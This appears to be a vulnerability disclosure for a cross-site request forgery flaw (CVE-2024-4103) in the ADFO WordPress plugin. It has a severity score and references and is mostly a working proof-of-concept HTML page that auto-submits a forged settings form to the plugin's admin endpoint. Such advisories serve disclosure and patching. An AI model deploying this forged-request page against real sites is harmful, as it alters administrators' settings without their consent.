Description

The ADFO – Custom data in admin dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.9.0. This is due to missing or incorrect nonce validation on several functions hooked via the controller() function. This makes it possible for unauthenticated attackers to edit the plugin’s settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Severity

4.3 (Medium) - CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Affected Version

<= 1.9.0

PoC :

<html>
  <!-- Made by eneriiiii<3 / twitter.com/aaillesim -->
  <body>
    <form action="http://[ASSETS]/wp-admin/admin.php?page=admin_form&section=list-setting&dbp_id=70" method="POST">
      <input type="hidden" name="action" value="list&#45;setting&#45;save" />
      <input type="hidden" name="frontend&#95;view&#91;if&#95;textarea&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;type&#93;" value="TABLE&#95;BASE" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;style&#95;color&#93;" value="light" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;pagination&#95;position&#93;" value="down" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;pagination&#95;style&#93;" value="numeric" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;sort&#93;" value="icon1" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;search&#93;" value="simple" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;size&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;update&#93;" value="ajax" />
      <input type="hidden" name="frontend&#95;view&#91;table&#95;export&#93;" value="" />
      <input type="hidden" name="editor&#95;table&#95;update" value="ajax" />
      <input type="hidden" name="editor&#95;table&#95;pagination&#95;style" value="numeric" />
      <input type="hidden" name="frontend&#95;view&#91;content&#95;header&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;content&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;content&#95;footer&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;content&#95;else&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;no&#95;result&#95;custom&#95;text&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;detail&#95;type&#93;" value="TABLE" />
      <input type="hidden" name="frontend&#95;view&#91;popup&#95;type&#93;" value="" />
      <input type="hidden" name="frontend&#95;view&#91;detail&#95;template&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reference

  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/admin-form/adfo-custom-data-in-admin-dashboard-190-cross-site-request-forgery
  • https://www.cve.org/CVERecord?id=CVE-2024-4103